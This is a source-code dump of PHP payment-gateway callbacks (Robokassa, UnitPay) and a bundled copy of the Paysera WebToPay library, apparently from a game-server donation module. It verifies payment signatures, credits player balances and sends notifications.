$this->BUpdateBalancePlayer($this->decod[3],$post['OutSum']); $this->BUpdatePay(); $this->BNotificationDiscord('Robokassa'); $this->LkAddLog('_NewDonat', ['gateway'=>'Robokassa','order'=>$this->decod[1], 'course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'), 'amount' => $this->decod[2], 'steam'=>$this->decod[3]]); $admins = $this->db->queryAll( 'Core', 0, 0, "SELECT * FROM lvl_web_admins WHERE flags = 'z' "); foreach( $admins as $key ){ $this->Notifications->SendNotification( con_steam64to32($key['steamid']), '_GetDonat', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['AMOUNT'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } $this->Notifications->SendNotification( $this->decod[3], '_YouPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['OutSum'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); die('YES'); } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Unitpay.php ================================================ CheckIP(); $us = $this->Decoder($params['account']); $this->decod = explode(',', $us); $BChekGateway = $this->BChekGateway('UnitPay'); if(empty($BChekGateway)){ $result = array('error' => array('message' => 'Gatewqy UnitPay not Exist.')); $this->hardReturnJson($result); } if($this->getSignature($method, $params, trim($this->kassa[0]['secret_key_2'])) != $params['signature']){ $this->LkAddLog('_NOTSIGN', ['gateway'=>'UnitPay']); $result = array('error' => array('message' => 'Invalid digital signature.')); $this->hardReturnJson($result); }else{ switch ($method){ case 'check': $this->BCheckPlayer(); $BCheckPay = $this->BCheckPay($this->decod[3],$params['orderSum']); if(empty($BCheckPay)){ $result = array('error' => array('message' => 'PAY #'.$this->decod[1].' Not EXIST')); } else $result = array('result' => array('message' => 'OK')); $this->hardReturnJson($result); break; case 'pay': $this->BCheckPromo('UnitPay'); $this->BUpdateBalancePlayer($this->decod[3],$params['orderSum']); $this->BUpdatePay(); $this->BNotificationDiscord('UnitPay'); $this->LkAddLog('_NewDonat', ['gateway'=>'UnitPay','order'=>$this->decod[1], 'course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'), 'amount' => $this->decod[2], 'steam'=>$this->decod[3]]); $admins = $this->db->queryAll( 'Core', 0, 0, "SELECT * FROM lvl_web_admins WHERE flags = 'z' "); foreach( $admins as $key ){ $this->Notifications->SendNotification( con_steam64to32($key['steamid']), '_GetDonat', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['AMOUNT'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } $this->Notifications->SendNotification( $this->decod[3], '_YouPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $params['orderSum'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); $result = array('result' => array('message' => 'OK')); $this->hardReturnJson($result); break; case 'error': $result = array('result' => array('message' => 'OK')); $this->hardReturnJson($result); break; default: $result = array('error' => array('message' => 'ERROR')); $this->hardReturnJson($result); break; } } } public function getSignature($method, array $data, $secretKey) { ksort($data); unset($data['sign']); unset($data['signature']); array_push($data, $secretKey); array_unshift($data, $method); return hash('sha256', join('{up}', $data)); } public function hardReturnJson( $arr ){ header('Content-Type: application/json'); $result = json_encode($arr); die($result); } public function CheckIP(){ if(!in_array($this->getIP(), array('31.186.100.49','178.132.203.105','52.29.152.23','52.19.56.234'))) { $this->LkAddLog('_DeniedIP', ['gateway' =>'UnitPay', 'ip'=>$this->getIP()]); $result = array('error' => array('message' => 'Invalid IP')); $this->hardReturnJson($result); } } protected function getIP(){ if(isset($_SERVER['HTTP_X_REAL_IP'])) return $_SERVER['HTTP_X_REAL_IP']; return $this->General->get_client_ip_cdn(); } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/WebToPay.php ================================================ . * * @package WebToPay * @author EVP International * @license http://www.gnu.org/licenses/lgpl.html * @version 1.6 * @link http://www.webtopay.com/ */ namespace app\modules\module_page_lk_impulse\ext; use app\modules\module_page_lk_impulse\ext\Basefunction; /** * Contains static methods for most used scenarios. */ class WebToPay extends Basefunction { /** * WebToPay Library version. */ const VERSION = '1.6'; /** * Server URL where all requests should go. */ const PAY_URL = 'https://bank.paysera.com/pay/'; /** * Server URL where all non-lithuanian language requests should go. */ const PAYSERA_PAY_URL = 'https://bank.paysera.com/pay/'; /** * Server URL where we can get XML with payment method data. */ const XML_URL = 'https://www.paysera.com/new/api/paymentMethods/'; /** * SMS answer url. */ const SMS_ANSWER_URL = 'https://bank.paysera.com/psms/respond/'; /** * Builds request data array. * * This method checks all given data and generates correct request data * array or raises WebToPayException on failure. * * Possible keys: * https://developers.paysera.com/en/payments/current#integration-via-specification * * @param array $data Information about current payment request * * @return array * * @throws WebToPayException on data validation error */ public static function buildRequest($data) { if (!isset($data['sign_password']) || !isset($data['projectid'])) { throw new WebToPayException('sign_password or projectid is not provided'); } $password = $data['sign_password']; $projectId = $data['projectid']; unset($data['sign_password']); unset($data['projectid']); $factory = new WebToPay_Factory(array('projectId' => $projectId, 'password' => $password)); $requestBuilder = $factory->getRequestBuilder(); return $requestBuilder->buildRequest($data); } /** * Builds request and redirects user to payment window with generated request data * * Possible array keys are described here: * https://developers.paysera.com/en/payments/current#integration-via-specification * * @param array $data Information about current payment request. * @param boolean $exit if true, exits after sending Location header; default false * * @throws WebToPayException on data validation error */ public static function redirectToPayment($data, $exit = false) { if (!isset($data['sign_password']) || !isset($data['projectid'])) { throw new WebToPayException('sign_password or projectid is not provided'); } $password = $data['sign_password']; $projectId = $data['projectid']; unset($data['sign_password']); unset($data['projectid']); $factory = new WebToPay_Factory(array('projectId' => $projectId, 'password' => $password)); $url = $factory->getRequestBuilder() ->buildRequestUrlFromData($data); if (headers_sent()) { echo ''; } else { header("Location: $url", true); } printf( 'Redirecting to %s. Please wait.', htmlentities($url, ENT_QUOTES, 'UTF-8'), htmlentities($url, ENT_QUOTES, 'UTF-8') ); if ($exit) { exit(); } } /** * Builds repeat request data array. * * This method checks all given data and generates correct request data * array or raises WebToPayException on failure. * * Method accepts single parameter $data of array type. All possible array * keys are described here: * https://developers.paysera.com/en/payments/current#integration-via-specification * * @param array $data Information about current payment request * * @return array * * @throws WebToPayException on data validation error */ public static function buildRepeatRequest($data) { if (!isset($data['sign_password']) || !isset($data['projectid']) || !isset($data['orderid'])) { throw new WebToPayException('sign_password, projectid or orderid is not provided'); } $password = $data['sign_password']; $projectId = $data['projectid']; $orderId = $data['orderid']; $factory = new WebToPay_Factory(array('projectId' => $projectId, 'password' => $password)); $requestBuilder = $factory->getRequestBuilder(); return $requestBuilder->buildRepeatRequest($orderId); } /** * Returns payment url. Argument is same as lang parameter in request data * * @param string $language * @return string $url */ public static function getPaymentUrl($language = 'LIT') { return (in_array($language, array('lt', 'lit', 'LIT'))) ? self::PAY_URL : self::PAYSERA_PAY_URL; } /** * Parses response from WebToPay server and validates signs. * * This function accepts both micro and macro responses. * * First parameter usualy should be $_GET array. * * Description about response can be found here: * makro: https://developers.paysera.com/en/payments/current#integration-via-specification * mikro: https://developers.paysera.com/en/sms-keywords/current#detailed-specification * * If response is not correct, WebToPayException will be raised. * * @param array $query Response array * @param array $userData * * @return array * * @throws WebToPayException * @deprecated use validateAndParseData() and check status code yourself */ public static function checkResponse($query, $userData = array()) { $projectId = isset($userData['projectid']) ? $userData['projectid'] : null; $password = isset($userData['sign_password']) ? $userData['sign_password'] : null; $logFile = isset($userData['log']) ? $userData['log'] : null; try { $data = self::validateAndParseData($query, $projectId, $password); if ($data['type'] == 'macro' && $data['status'] != 1) { throw new WebToPayException('Expected status code 1', WebToPayException::E_DEPRECATED_USAGE); } if ($logFile) { self::log('OK', http_build_query($data, null, '&'), $logFile); } return $data; } catch (WebToPayException $exception) { if ($logFile && $exception->getCode() != WebToPayException::E_DEPRECATED_USAGE) { self::log('ERR', $exception . "\nQuery: " . http_build_query($query, null, '&'), $logFile); } throw $exception; } } /** * Parses request (query) data and validates its signature. * * @param array $query usually $_GET * @param integer $projectId * @param string $password * * @return array * * @throws WebToPayException */ public static function validateAndParseData(array $query, $projectId, $password) { $factory = new WebToPay_Factory(array('projectId' => $projectId, 'password' => $password)); $validator = $factory->getCallbackValidator(); $data = $validator->validateAndParseData($query); return $data; } /** * Sends SMS answer * * @param array $userData * * @throws WebToPayException * @throws WebToPay_Exception_Validation */ public static function smsAnswer($userData) { if (!isset($userData['id']) || !isset($userData['msg']) || !isset($userData['sign_password'])) { throw new WebToPay_Exception_Validation('id, msg and sign_password are required'); } $smsId = $userData['id']; $text = $userData['msg']; $password = $userData['sign_password']; $logFile = isset($userData['log']) ? $userData['log'] : null; try { $factory = new WebToPay_Factory(array('password' => $password)); $factory->getSmsAnswerSender()->sendAnswer($smsId, $text); if ($logFile) { self::log('OK', 'SMS ANSWER ' . $smsId . ' ' . $text, $logFile); } } catch (WebToPayException $e) { if ($logFile) { self::log('ERR', 'SMS ANSWER ' . $e, $logFile); } throw $e; } } /** * Gets available payment methods for project. Gets methods min and max amounts in specified currency. * * @param integer $projectId * @param string $currency * * @return WebToPay_PaymentMethodList * * @throws WebToPayException */ public static function getPaymentMethodList($projectId, $currency = 'EUR') { $factory = new WebToPay_Factory(array('projectId' => $projectId)); return $factory->getPaymentMethodListProvider()->getPaymentMethodList($currency); } /** * Logs to file. Just skips logging if file is not writeable * * @param string $type * @param string $msg * @param string $logfile */ protected function log($type, $msg, $logfile) { $fp = @fopen($logfile, 'a'); if (!$fp) { return; } $client_ip = $this->General->get_client_ip_cdn(); $logline = array( $type, isset($client_ip) ? $client_ip : '-', date('[Y-m-d H:i:s O]'), 'v' . self::VERSION . ':', $msg ); $logline = implode(' ', $logline)."\n"; fwrite($fp, $logline); fclose($fp); // clear big log file if (filesize($logfile) > 1024 * 1024 * pi()) { copy($logfile, $logfile.'.old'); unlink($logfile); } } } /** * Base exception class for all exceptions in this library */ class WebToPayException extends Exception { /** * Missing field. */ const E_MISSING = 1; /** * Invalid field value. */ const E_INVALID = 2; /** * Max length exceeded. */ const E_MAXLEN = 3; /** * Regexp for field value doesn't match. */ const E_REGEXP = 4; /** * Missing or invalid user given parameters. */ const E_USER_PARAMS = 5; /** * Logging errors */ const E_LOG = 6; /** * SMS answer errors */ const E_SMS_ANSWER = 7; /** * Macro answer errors */ const E_STATUS = 8; /** * Library errors - if this happens, bug-report should be sent; also you can check for newer version */ const E_LIBRARY = 9; /** * Errors in remote service - it returns some invalid data */ const E_SERVICE = 10; /** * Deprecated usage errors */ const E_DEPRECATED_USAGE = 11; /** * @var string|boolean */ protected $fieldName = false; /** * Sets field which failed * * @param string $fieldName */ public function setField($fieldName) { $this->fieldName = $fieldName; } /** * Gets field which failed * * @return string|boolean false */ public function getField() { return $this->fieldName; } } /** * Loads data about payment methods and constructs payment method list object from that data * You need SimpleXML support to use this feature */ class WebToPay_PaymentMethodListProvider { /** * @var integer */ protected $projectId; /** * @var WebToPay_WebClient */ protected $webClient; /** * Holds constructed method lists by currency * * @var WebToPay_PaymentMethodList[] */ protected $methodListCache = array(); /** * Builds various request URLs * * @var WebToPay_UrlBuilder $urlBuilder */ protected $urlBuilder; /** * Constructs object * * @param integer $projectId * @param WebToPay_WebClient $webClient * @param WebToPay_UrlBuilder $urlBuilder * * @throws WebToPayException if SimpleXML is not available */ public function __construct( $projectId, WebToPay_WebClient $webClient, WebToPay_UrlBuilder $urlBuilder ) { $this->projectId = $projectId; $this->webClient = $webClient; $this->urlBuilder = $urlBuilder; if (!function_exists('simplexml_load_string')) { throw new WebToPayException('You have to install libxml to use payment methods API'); } } /** * Gets payment method list for specified currency * * @param string $currency * * @return WebToPay_PaymentMethodList * * @throws WebToPayException */ public function getPaymentMethodList($currency) { if (!isset($this->methodListCache[$currency])) { $xmlAsString = $this->webClient->get($this->urlBuilder->buildForPaymentsMethodList($this->projectId, $currency)); $useInternalErrors = libxml_use_internal_errors(false); $rootNode = simplexml_load_string($xmlAsString); libxml_clear_errors(); libxml_use_internal_errors($useInternalErrors); if (!$rootNode) { throw new WebToPayException('Unable to load XML from remote server'); } $methodList = new WebToPay_PaymentMethodList($this->projectId, $currency); $methodList->fromXmlNode($rootNode); $this->methodListCache[$currency] = $methodList; } return $this->methodListCache[$currency]; } } /** * Builds and signs requests */ class WebToPay_RequestBuilder { /** * @var string */ protected $projectPassword; /** * @var WebToPay_Util */ protected $util; /** * @var integer */ protected $projectId; /** * @var WebToPay_UrlBuilder $urlBuilder */ protected $urlBuilder; /** * Constructs object * * @param integer $projectId * @param string $projectPassword * @param WebToPay_Util $util * @param WebToPay_UrlBuilder $urlBuilder */ public function __construct( $projectId, $projectPassword, WebToPay_Util $util, WebToPay_UrlBuilder $urlBuilder ) { $this->projectId = $projectId; $this->projectPassword = $projectPassword; $this->util = $util; $this->urlBuilder = $urlBuilder; } /** * Builds request data array. * * This method checks all given data and generates correct request data * array or raises WebToPayException on failure. * * @param array $data information about current payment request * * @return array * * @throws WebToPayException */ public function buildRequest($data) { $this->validateRequest($data, self::getRequestSpec()); $data['version'] = WebToPay::VERSION; $data['projectid'] = $this->projectId; unset($data['repeat_request']); return $this->createRequest($data); } /** * Builds the full request url (including the protocol and the domain) * * @param array $data * @return string */ public function buildRequestUrlFromData($data) { $language = isset($data['lang']) ? $data['lang'] : null; $request = $this->buildRequest($data); return $this->urlBuilder->buildForRequest($request, $language); } /** * Builds repeat request data array. * * This method checks all given data and generates correct request data * array or raises WebToPayException on failure. * * @param string $orderId order id of repeated request * * @return array * * @throws WebToPayException */ public function buildRepeatRequest($orderId) { $data['orderid'] = $orderId; $data['version'] = WebToPay::VERSION; $data['projectid'] = $this->projectId; $data['repeat_request'] = '1'; return $this->createRequest($data); } /** * Builds the full request url for a repeated request (including the protocol and the domain) * * @param string $orderId order id of repeated request * @return string */ public function buildRepeatRequestUrlFromOrderId($orderId) { $request = $this->buildRepeatRequest($orderId); return $this->urlBuilder->buildForRequest($request); } /** * Checks data to be valid by passed specification * * @param array $data * @param array $specs * * @throws WebToPay_Exception_Validation */ protected function validateRequest($data, $specs) { foreach ($specs as $spec) { list($name, $maxlen, $required, $regexp) = $spec; if ($required && !isset($data[$name])) { throw new WebToPay_Exception_Validation( sprintf("'%s' is required but missing.", $name), WebToPayException::E_MISSING, $name ); } if (!empty($data[$name])) { if ($maxlen && strlen($data[$name]) > $maxlen) { throw new WebToPay_Exception_Validation(sprintf( "'%s' value is too long (%d), %d characters allowed.", $name, strlen($data[$name]), $maxlen ), WebToPayException::E_MAXLEN, $name); } if ($regexp !== '' && !preg_match($regexp, $data[$name])) { throw new WebToPay_Exception_Validation( sprintf("'%s' value '%s' is invalid.", $name, $data[$name]), WebToPayException::E_REGEXP, $name ); } } } } /** * Makes request data array from parameters, also generates signature * * @param array $request * * @return array */ protected function createRequest(array $request) { $data = $this->util->encodeSafeUrlBase64(http_build_query($request, null, '&')); return array( 'data' => $data, 'sign' => md5($data . $this->projectPassword), ); } /** * Returns specification of fields for request. * * Array structure: * name – request item name * maxlen – max allowed value for item * required – is this item is required * regexp – regexp to test item value * * @return array */ protected static function getRequestSpec() { return array( array('orderid', 40, true, ''), array('accepturl', 255, true, ''), array('cancelurl', 255, true, ''), array('callbackurl', 255, true, ''), array('lang', 3, false, '/^[a-z]{3}$/i'), array('amount', 11, false, '/^\d+$/'), array('currency', 3, false, '/^[a-z]{3}$/i'), array('payment', 20, false, ''), array('country', 2, false, '/^[a-z_]{2}$/i'), array('paytext', 255, false, ''), array('p_firstname', 255, false, ''), array('p_lastname', 255, false, ''), array('p_email', 255, false, ''), array('p_street', 255, false, ''), array('p_city', 255, false, ''), array('p_state', 20, false, ''), array('p_zip', 20, false, ''), array('p_countrycode', 2, false, '/^[a-z]{2}$/i'), array('test', 1, false, '/^[01]$/'), array('time_limit', 19, false, '/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/'), ); } } /** * Payment method configuration for some country */ class WebToPay_PaymentMethodCountry { /** * @var string */ protected $countryCode; /** * Holds available payment types for this country * * @var WebToPay_PaymentMethodGroup[] */ protected $groups; /** * Default language for titles * * @var string */ protected $defaultLanguage; /** * Translations array for this country. Holds associative array of country title by language codes. * * @var array */ protected $titleTranslations; /** * Constructs object * * @param string $countryCode * @param array $titleTranslations * @param string $defaultLanguage */ public function __construct($countryCode, $titleTranslations, $defaultLanguage = 'lt') { $this->countryCode = $countryCode; $this->defaultLanguage = $defaultLanguage; $this->titleTranslations = $titleTranslations; $this->groups = array(); } /** * Sets default language for titles. * Returns itself for fluent interface * * @param string $language * * @return WebToPay_PaymentMethodCountry */ public function setDefaultLanguage($language) { $this->defaultLanguage = $language; foreach ($this->groups as $group) { $group->setDefaultLanguage($language); } return $this; } /** * Gets title of the group. Tries to get title in specified language. If it is not found or if language is not * specified, uses default language, given to constructor. * * @param string [Optional] $languageCode * * @return string */ public function getTitle($languageCode = null) { if ($languageCode !== null && isset($this->titleTranslations[$languageCode])) { return $this->titleTranslations[$languageCode]; } elseif (isset($this->titleTranslations[$this->defaultLanguage])) { return $this->titleTranslations[$this->defaultLanguage]; } else { return $this->countryCode; } } /** * Gets default language for titles * * @return string */ public function getDefaultLanguage() { return $this->defaultLanguage; } /** * Gets country code * * @return string */ public function getCode() { return $this->countryCode; } /** * Adds new group to payment methods for this country. * If some other group was registered earlier with same key, overwrites it. * Returns given group * * @param WebToPay_PaymentMethodGroup $group * * @return WebToPay_PaymentMethodGroup */ public function addGroup(WebToPay_PaymentMethodGroup $group) { return $this->groups[$group->getKey()] = $group; } /** * Gets group object with specified group key. If no group with such key is found, returns null. * * @param string $groupKey * * @return null|WebToPay_PaymentMethodGroup */ public function getGroup($groupKey) { return isset($this->groups[$groupKey]) ? $this->groups[$groupKey] : null; } /** * Returns payment method groups registered for this country. * * @return WebToPay_PaymentMethodGroup[] */ public function getGroups() { return $this->groups; } /** * Gets payment methods in all groups * * @return WebToPay_PaymentMethod[] */ public function getPaymentMethods() { $paymentMethods = array(); foreach ($this->groups as $group) { $paymentMethods = array_merge($paymentMethods, $group->getPaymentMethods()); } return $paymentMethods; } /** * Returns new country instance with only those payment methods, which are available for provided amount. * * @param integer $amount * @param string $currency * * @return WebToPay_PaymentMethodCountry */ public function filterForAmount($amount, $currency) { $country = new WebToPay_PaymentMethodCountry($this->countryCode, $this->titleTranslations, $this->defaultLanguage); foreach ($this->getGroups() as $group) { $group = $group->filterForAmount($amount, $currency); if (!$group->isEmpty()) { $country->addGroup($group); } } return $country; } /** * Returns new country instance with only those payment methods, which are returns or not iban number after payment * * @param boolean $isIban * * @return WebToPay_PaymentMethodCountry */ public function filterForIban($isIban = true) { $country = new WebToPay_PaymentMethodCountry($this->countryCode, $this->titleTranslations, $this->defaultLanguage); foreach ($this->getGroups() as $group) { $group = $group->filterForIban($isIban); if (!$group->isEmpty()) { $country->addGroup($group); } } return $country; } /** * Returns whether this country has no groups * * @return boolean */ public function isEmpty() { return count($this->groups) === 0; } /** * Loads groups from given XML node * * @param SimpleXMLElement $countryNode */ public function fromXmlNode($countryNode) { foreach ($countryNode->payment_group as $groupNode) { $key = (string) $groupNode->attributes()->key; $titleTranslations = array(); foreach ($groupNode->title as $titleNode) { $titleTranslations[(string) $titleNode->attributes()->language] = (string) $titleNode; } $this->addGroup($this->createGroup($key, $titleTranslations))->fromXmlNode($groupNode); } } /** * Method to create new group instances. Overwrite if you have to use some other group subtype. * * @param string $groupKey * @param array $translations * * @return WebToPay_PaymentMethodGroup */ protected function createGroup($groupKey, array $translations = array()) { return new WebToPay_PaymentMethodGroup($groupKey, $translations, $this->defaultLanguage); } } /** * Utility class */ class WebToPay_Util { /** * Decodes url-safe-base64 encoded string * Url-safe-base64 is same as base64, but + is replaced to - and / to _ * * @param string $encodedText * * @return string */ public function decodeSafeUrlBase64($encodedText) { return base64_decode(strtr($encodedText, array('-' => '+', '_' => '/'))); } /** * Encodes string to url-safe-base64 * Url-safe-base64 is same as base64, but + is replaced to - and / to _ * * @param string $text * * @return string */ public function encodeSafeUrlBase64($text) { return strtr(base64_encode($text), array('+' => '-', '/' => '_')); } /** * Parses HTTP query to array * * @param string $query * * @return array */ public function parseHttpQuery($query) { $params = array(); parse_str($query, $params); if (get_magic_quotes_gpc()) { $params = $this->stripSlashesRecursively($params); } return $params; } /** * Strips slashes recursively, so this method can be used on arrays with more than one level * * @param mixed $data * * @return mixed */ protected function stripSlashesRecursively($data) { if (is_array($data)) { $result = array(); foreach ($data as $key => $value) { $result[stripslashes($key)] = $this->stripSlashesRecursively($value); } return $result; } else { return stripslashes($data); } } } /** * Checks SS2 signature. Depends on SSL functions */ class WebToPay_Sign_SS2SignChecker implements WebToPay_Sign_SignCheckerInterface { /** * @var string */ protected $publicKey; /** * @var WebToPay_Util */ protected $util; /** * Constructs object * * @param string $publicKey * @param WebToPay_Util $util */ public function __construct($publicKey, WebToPay_Util $util) { $this->publicKey = $publicKey; $this->util = $util; } /** * Checks signature * * @param array $request * * @return boolean * * @throws WebToPay_Exception_Callback */ public function checkSign(array $request) { if (!isset($request['data']) || !isset($request['ss2'])) { throw new WebToPay_Exception_Callback('Not enough parameters in callback. Possible version mismatch'); } $ss2 = $this->util->decodeSafeUrlBase64($request['ss2']); $ok = openssl_verify($request['data'], $ss2, $this->publicKey); return $ok === 1; } } /** * Sign checker which checks SS1 signature. SS1 does not depend on SSL functions */ class WebToPay_Sign_SS1SignChecker implements WebToPay_Sign_SignCheckerInterface { /** * @var string */ protected $projectPassword; /** * Constructs object * * @param string $projectPassword */ public function __construct($projectPassword) { $this->projectPassword = $projectPassword; } /** * Check for SS1, which is not depend on openssl functions. * * @param array $request * * @return boolean * * @throws WebToPay_Exception_Callback */ public function checkSign(array $request) { if (!isset($request['data']) || !isset($request['ss1'])) { throw new WebToPay_Exception_Callback('Not enough parameters in callback. Possible version mismatch'); } return md5($request['data'] . $this->projectPassword) === $request['ss1']; } } /** * Interface for sign checker */ interface WebToPay_Sign_SignCheckerInterface { /** * Checks whether request is signed properly * * @param array $request * * @return boolean */ public function checkSign(array $request); } /** * Used to build a complete request URL. * * Class WebToPay_UrlBuilder */ class WebToPay_UrlBuilder { const PLACEHOLDER_KEY = '[domain]'; /** * @var array */ protected $configuration = array(); /** * @var string */ protected $environment; /** * @var array */ protected $environmentSettings; /** * @param array $configuration * @param string $environment */ function __construct($configuration, $environment) { $this->configuration = $configuration; $this->environment = $environment; $this->environmentSettings = $this->configuration['routes'][$this->environment]; } /** * Builds a complete request URL based on the provided parameters * * @param $request * @param null $language * @return string */ public function buildForRequest($request, $language = null) { return $this->createUrlFromRequestAndLanguage($request); } /** * Builds a complete URL for payment list API * * @param int $projectId * @param string $currency * @return string */ public function buildForPaymentsMethodList($projectId, $currency) { $route = $this->environmentSettings['paymentMethodList']; return $route . $projectId . '/currency:' . $currency; } /** * Builds a complete URL for Sms Answer * * @return string */ public function buildForSmsAnswer() { $route = $this->environmentSettings['smsAnswer']; return $route; } /** * Build the url to the public key * * @return string */ public function buildForPublicKey() { $route = $this->environmentSettings['publicKey']; return $route; } /** * Creates an URL from the request and data provided. * * @param array $request * @return string */ protected function createUrlFromRequestAndLanguage($request) { $url = $this->getPaymentUrl() . '?' . http_build_query($request, null, '&'); return preg_replace('/[\r\n]+/is', '', $url); } /** * Returns payment url. Argument is same as lang parameter in request data * * @return string $url */ public function getPaymentUrl() { $route = $this->environmentSettings['payment']; return $route; } } /** * Raised on error in callback */ class WebToPay_Exception_Callback extends WebToPayException { } /** * Raised if configuration is incorrect */ class WebToPay_Exception_Configuration extends WebToPayException { } /** * Raised on validation error in passed data when building the request */ class WebToPay_Exception_Validation extends WebToPayException { public function __construct($message, $code = 0, $field = null, Exception $previousException = null) { parent::__construct($message, $code, $previousException); if ($field) { $this->setField($field); } } } /** * Sends answer to SMS payment if it was not provided with response to callback */ class WebToPay_SmsAnswerSender { /** * @var string */ protected $password; /** * @var WebToPay_WebClient */ protected $webClient; /** * @var WebToPay_UrlBuilder $urlBuilder */ protected $urlBuilder; /** * Constructs object * * @param string $password * @param WebToPay_WebClient $webClient * @param WebToPay_UrlBuilder $urlBuilder */ public function __construct( $password, WebToPay_WebClient $webClient, WebToPay_UrlBuilder $urlBuilder ) { $this->password = $password; $this->webClient = $webClient; $this->urlBuilder = $urlBuilder; } /** * Sends answer by sms ID get from callback. Answer can be send only if it was not provided * when responding to callback * * @param integer $smsId * @param string $text * * @throws WebToPayException */ public function sendAnswer($smsId, $text) { $content = $this->webClient->get($this->urlBuilder->buildForSmsAnswer(), array( 'id' => $smsId, 'msg' => $text, 'transaction' => md5($this->password . '|' . $smsId), )); if (strpos($content, 'OK') !== 0) { throw new WebToPayException( sprintf('Error: %s', $content), WebToPayException::E_SMS_ANSWER ); } } } /** * Class with all information about available payment methods for some project, optionally filtered by some amount. */ class WebToPay_PaymentMethodList { /** * Holds available payment countries * * @var WebToPay_PaymentMethodCountry[] */ protected $countries; /** * Default language for titles * * @var string */ protected $defaultLanguage; /** * Project ID, to which this method list is valid * * @var integer */ protected $projectId; /** * Currency for min and max amounts in this list * * @var string */ protected $currency; /** * If this list is filtered for some amount, this field defines it * * @var integer */ protected $amount; /** * Constructs object * * @param integer $projectId * @param string $currency currency for min and max amounts in this list * @param string $defaultLanguage * @param integer $amount null if this list is not filtered by amount */ public function __construct($projectId, $currency, $defaultLanguage = 'lt', $amount = null) { $this->projectId = $projectId; $this->countries = array(); $this->defaultLanguage = $defaultLanguage; $this->currency = $currency; $this->amount = $amount; } /** * Sets default language for titles. * Returns itself for fluent interface * * @param string $language * * @return WebToPay_PaymentMethodList */ public function setDefaultLanguage($language) { $this->defaultLanguage = $language; foreach ($this->countries as $country) { $country->setDefaultLanguage($language); } return $this; } /** * Gets default language for titles * * @return string */ public function getDefaultLanguage() { return $this->defaultLanguage; } /** * Gets project ID for this payment method list * * @return integer */ public function getProjectId() { return $this->projectId; } /** * Gets currency for min and max amounts in this list * * @return string */ public function getCurrency() { return $this->currency; } /** * Gets whether this list is already filtered for some amount * * @return boolean */ public function isFiltered() { return $this->amount !== null; } /** * Returns available countries * * @return WebToPay_PaymentMethodCountry[] */ public function getCountries() { return $this->countries; } /** * Adds new country to payment methods. If some other country with same code was registered earlier, overwrites it. * Returns added country instance * * @param WebToPay_PaymentMethodCountry $country * * @return WebToPay_PaymentMethodCountry */ public function addCountry(WebToPay_PaymentMethodCountry $country) { return $this->countries[$country->getCode()] = $country; } /** * Gets country object with specified country code. If no country with such country code is found, returns null. * * @param string $countryCode * * @return null|WebToPay_PaymentMethodCountry */ public function getCountry($countryCode) { return isset($this->countries[$countryCode]) ? $this->countries[$countryCode] : null; } /** * Returns new payment method list instance with only those payment methods, which are available for provided * amount. * Returns itself, if list is already filtered and filter amount matches the given one. * * @param integer $amount * @param string $currency * * @return WebToPay_PaymentMethodList * * @throws WebToPayException if this list is already filtered and not for provided amount */ public function filterForAmount($amount, $currency) { if ($currency !== $this->currency) { throw new WebToPayException( 'Currencies do not match. Given currency: ' . $currency . ', currency in list: ' . $this->currency ); } if ($this->isFiltered()) { if ($this->amount === $amount) { return $this; } else { throw new WebToPayException('This list is already filtered, use unfiltered list instead'); } } else { $list = new WebToPay_PaymentMethodList($this->projectId, $currency, $this->defaultLanguage, $amount); foreach ($this->getCountries() as $country) { $country = $country->filterForAmount($amount, $currency); if (!$country->isEmpty()) { $list->addCountry($country); } } return $list; } } /** * Loads countries from given XML node * * @param SimpleXMLElement $xmlNode */ public function fromXmlNode($xmlNode) { foreach ($xmlNode->country as $countryNode) { $titleTranslations = array(); foreach ($countryNode->title as $titleNode) { $titleTranslations[(string) $titleNode->attributes()->language] = (string) $titleNode; } $this->addCountry($this->createCountry((string) $countryNode->attributes()->code, $titleTranslations)) ->fromXmlNode($countryNode); } } /** * Method to create new country instances. Overwrite if you have to use some other country subtype. * * @param string $countryCode * @param array $titleTranslations * * @return WebToPay_PaymentMethodCountry */ protected function createCountry($countryCode, array $titleTranslations = array()) { return new WebToPay_PaymentMethodCountry($countryCode, $titleTranslations, $this->defaultLanguage); } } /** * Simple web client */ class WebToPay_WebClient { /** * Gets page contents by specified URI. Adds query data if provided to the URI * Ignores status code of the response and header fields * * @param string $uri * @param array $queryData * * @return string * * @throws WebToPayException */ public function get($uri, array $queryData = array()) { if (count($queryData) > 0) { $uri .= strpos($uri, '?') === false ? '?' : '&'; $uri .= http_build_query($queryData, null, '&'); } $url = parse_url($uri); if ('https' == $url['scheme']) { $host = 'ssl://'.$url['host']; $port = 443; } else { $host = $url['host']; $port = 80; } $fp = fsockopen($host, $port, $errno, $errstr, 30); if (!$fp) { throw new WebToPayException(sprintf('Cannot connect to %s', $uri), WebToPayException::E_INVALID); } if(isset($url['query'])) { $data = $url['path'].'?'.$url['query']; } else { $data = $url['path']; } $out = "GET " . $data . " HTTP/1.0\r\n"; $out .= "Host: ".$url['host']."\r\n"; $out .= "Connection: Close\r\n\r\n"; $content = ''; fwrite($fp, $out); while (!feof($fp)) $content .= fgets($fp, 8192); fclose($fp); list($header, $content) = explode("\r\n\r\n", $content, 2); return trim($content); } } /** * Parses and validates callbacks */ class WebToPay_CallbackValidator { /** * @var WebToPay_Sign_SignCheckerInterface */ protected $signer; /** * @var WebToPay_Util */ protected $util; /** * @var integer */ protected $projectId; /** * Constructs object * * @param integer $projectId * @param WebToPay_Sign_SignCheckerInterface $signer * @param WebToPay_Util $util */ public function __construct($projectId, 